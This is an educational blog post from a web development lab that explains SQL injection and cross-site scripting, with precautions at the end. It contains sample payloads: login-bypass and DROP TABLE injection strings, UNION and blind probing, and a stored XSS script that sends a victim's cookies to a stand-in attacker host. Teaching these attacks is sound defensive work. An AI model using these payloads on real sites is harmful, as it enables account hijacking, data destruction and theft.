Think Labs is an ongoing effort by Seven2 to provide research and educational opportunities in the web development and mobile field. To see what we’ve been cookin’ up, check out our blog postings.

Created by
Seven2 Login

Team Think Labs | SQL Injections & Cross-Site Scripting
single,single-post,postid-366,single-format-standard,ajax_fade,page_not_loaded,,,wpb-js-composer js-comp-ver-4.2.3,vc_responsive

SQL Injections & Cross-Site Scripting

SQL Injection

There are many different types of attacks hackers can conduct in order to take partial or total control of a website. In general the most common and dangerous ones are SQL injections and cross-site scripting (XSS).

SQL injection is a technique to inject a piece of a malicious code in a web application, exploiting security vulnerability at the database level to change its behavior.  Applications often use user-supplied data to create SQL statements. If such commands are executed, they do so under the context of the user specified by the application executing the statement. This capability allows attackers to gain control of all database resources accessible by that user, up to and including the ability to execute commands on the hosting system. With this powerful technique the attacker could manipulate URLs (query strings) or any form (search, login, email registration) to inject malicious code. Ability to change the logic of SQL statements executed against the database is extremely dangerous for an e-Commerce sites or any other site that keeps sensitive information in the database like SSN, CC numbers etc.

Some samples of SQL injections are:

SQL Injection using Dynamic Strings

A web based application form might build a SQL request to the database as string combining Username & Password in order to retrieve account information from database.

SELECT Username FROM Users WHERE Username = [value] AND Password = [value]

If the attacker submits login and password as

Username   foo

Password:  bar’ OR ‘ ‘=’ ‘








SQL command string would look like

SELECT Username FROM Users WHERE Username = ‘foo’
AND Password = ‘bar’ OR ‘ ‘=’ ‘

This query will return all rows from the user’s database, regardless of whether the foo is a real username or bar is a legitimate password. This is due to the OR statement appended to WHERE clause. The comparison ‘ ‘=’ ‘ will always return true result, making the overall WHERE clause evaluate to true for all rows in the table. If this is used for authentication purposes, the attacker will often be logged in as the first or last user in Users table.

SQL Injection in Stored Procedures

Stored procedures accept parameters which this type of attack is relaying on.

exec SignInUser ‘ ” + Username + “,’ ”  + Password + “ ’ ”

First password option bar’ OR ‘ ‘=’ ’ would register attacker as user into application while second password option ‘; DROP TABLE Users–‘ would drop/delete table from database

Username: foo

Password: ‘; DROP TABLE Users–‘

Even if stored procedure is using parameterized statements, they can be still compromised. Escaping dangerous characters is not sufficient to address these flaws. An article “New SQL Truncation Attacks and How to Avoid Them” demonstrates how assigning strings to fixed-size variables, like the varchars  can cause strings to be truncated and lead to SQL injection attacks.

SQL Injection Identification and Exploitation

Two commonly known methods of identifying SQL Injection attack are:

  1. SQL Injection
  2. Blind SQL Injection

SQL Injection

This method is used to identify and exploit SQL Injection used information provided by errors generated during testing. These errors often would include text of the offending SQL statement and details of the nature of the error. Such information can be very helpful when creating reliable exploits for SQL Injection attacks.

By appending a UNION statement to the parameter, the attacker can test for access to other tables in the target database.


The database server might return an error similar to:

Microsoft OLE DB Provider for ODBC Drivers error
[Microsoft][ODBC SQL Server Driver][SQL Server]All
queries in an SQL statement containing a UNION
operator must have an equal number of expressions
in their target lists.

So the attack was slightly incorrect, but it will be likely successful once the test query is changed where column count matches the original query statement.

Blind SQL Injection

This SQL Injection is used when no detailed error message is provided to the attacker. For web based applications is common to display friendly error pages with minimal technical data, effectively blinding those exploitation techniques.

In this case the attacker would gather information by other means, like differential timing analysis or manipulation of user-visible state. Common example would be to analyze behavior of a system when passed values would evaluate to false and true result used in SQL statement.

If a SQL Injection weakness is present, including statement within a query string like

should return same web page as
because and 1=1  is always true
would cause a website to return a friendly error or no page at all. This is because and 1=0 is always false.

Using these techniques the attacker can exploit other sections of the website as well.

SQL Injection Precautions

There are some good precautions that can be taken to avoid this kind of attack. Most common techniques to prevent SQL Injections are creating middle layer between front end and database that would validate input before binding actual values to SQL statements to be executed against the database, and character escaping technique where all dangerous characters that can affect SQL statements and database are escaped (single quote   ‘    , percent symbol    %   , semi-colon   ;   ). Additional technique is to create user-friendly error messages/pages and hide technical details from possible attackers. You can always log errors or send an email with technical details to webmaster.  When interacting with database, the account with least privileges/restricted access should be used for communication with database.

IMPORTANT: SSL(Secure Socket Layer http://en.wikipedia.org/wiki/SSL ) and IPSec ( IP Security http://en.wikipedia.org/wiki/IPsec ) DO NOT protect you application from SQL Injections

Cross-Site Scripting (XSS)

Very powerful and popular hacking technique that injects malicious code in a webpage through user input without any further validation before returning it to the final user. In essence the attacker would submit code to webpage that would be echoed to the end user without further validation.

Code is usually written in HTML/JavaScript but extends to VBScript, ActiveX, Java, Flash or any other web browser supported technology. Once the code is executed usually runs within the security context of the hosting web site.  With this level of privilege, the code has ability to READ, MODIFY and TRANSMIT any sensitive data that is accessible by the browser. Examples of XSS results are: “cookie theft” (hijacked account), browser redirects to another location, display fraudulent content delivered by the website. XSS attacks will essentially compromise relationship between user and web site.

There are three types of XSS attacks:

Non-Persistent XSS Attacks

Requires user to visit either a link or malicious web page containing web form, which when mounted to the vulnerable site will execute attack. Same applies to DOM-based XSS attacks. Using malicious form will take place with HTTP POST requests because form can be posted automatically without user’s knowledge using JavaScript technique. Upon visiting malicious link or submitting malicious form, the XSS payload will get echoed back and will get rendered by the user’s browser and execute. Another way is to send arbitrary request (GET and POST) by using embedded client such as Adobe Flash.

On web portals where user have a personalized view of a web site and is being greeted after logging in with “Welcome, <your username>”, data is often referenced through query string like


Page would read query string and produce “Welcome, Joe” based on the data referenced in query string. Attacker would encode JavaScript code into query string so the user is confused and cannot easily recognized JavaScript code, otherwise suspicion flag is raised.

Encoded Script


Decoded Script


Persistent XSS Attacks

Persistent attacks are usually submitted to a web site where it’s stored for a period of time. Examples of an attacker’s favorite targets often include message board posts, web mail messages and web chat software. User is not required to interact with any additional site (form) or link, just simply view the page containing the code. On many websites hosting message boards’ user is usually registered and tracked using a session ID cookie authorizing them to post. If an attacker were to post message containing JavaScript code, a user could end up with compromised account.

 <SCRIPT>document.location = ‘http://attackerhost.example/cgi-bin/cookiesteal.cgi?+’document.cookie</SCRIPT>

Due to attack payload being stored on the server this form of XSS attack is persistent.

DOM-based XSS Attacks

Unlike two previous flavors of XSS attacks, DOM based XSS does not require web server to receive the malicious XSS payload. Instead DOM based XSS, the attacker abuses runtime embedding of attacker data in the client side, from within a page served from web server.

Consider an HTML page that embeds location/URL using JavaScript code to be displayed. In that case attacker can force the client’s browser to render the page with parts of the DOM controlled by attacker.

If for example

http://www.vulnerablesite.example/index.html contains script like

<SCRIPT>var pos = document.URL.indexOf(“name=”)+5;
document.write(document.URL.substring(pos, document.URL.length));</SCRIPT>

Welcome to our system


If page is using value from query string as


this would be encoded, of course

This would embed malicious JavaScript payload into the page at runtime.

Few DOM objects which can serve as a vehicle to such attack:

  1. The path/query part of the location/URL object, in which case the server does not receive the payload as part of the URL section of the HTTP request
  2. The username and/or password part of the location/URL object ( http://username:password@host/), in which case the server receives the payload, Base64-encoded, in the Authorization Header
  3. The fragment part of the location/URL object, in which case the server does not receive the payload at all, because browser typically does not send this part of the URL
  4. The referrer object, in which case the server receives the payload in the Referrer Header

In the DOM based XSS attacks, the server does not embed the payload into the response page; the client side code does embedding. This concept is extended into realm of non-JavaScript client side code, such as Flash object. The environment enables embedded Flash to query the browser DOM in which is embedded.

Cross-Site Scripting Worms and Malware

The best example of a Web Worm is Sammy Worm, the first major worm of its kind, spread by exploiting a persistent XSS vulnerability in MySpace.com’s personal profile web page template. The author of the Sammy Worm bypassed MySpace filtering and infected his profile page on myspace.com Since then every user’s profile that ever visited Sammy’s  profile page was automatically updated with malicious code and Sammy was added as their friend as well. This attack resulted with over 1 million infected profiles within 24 hours. MySpace was force to shut-down its website in order to stop infection fix vulnerability filters and perform a clean-up.

Cross-Site Scripting (XSS) Precautions

Easy actions to prevent this type of attack are exactly same as for SQL Injections. Additional techniques are encoding data (converting special characters into ASCII code for example) before submitting to database and stripping tags from JavaScript opening/closing tags <script> </script> or even HTML tags as <br  /> .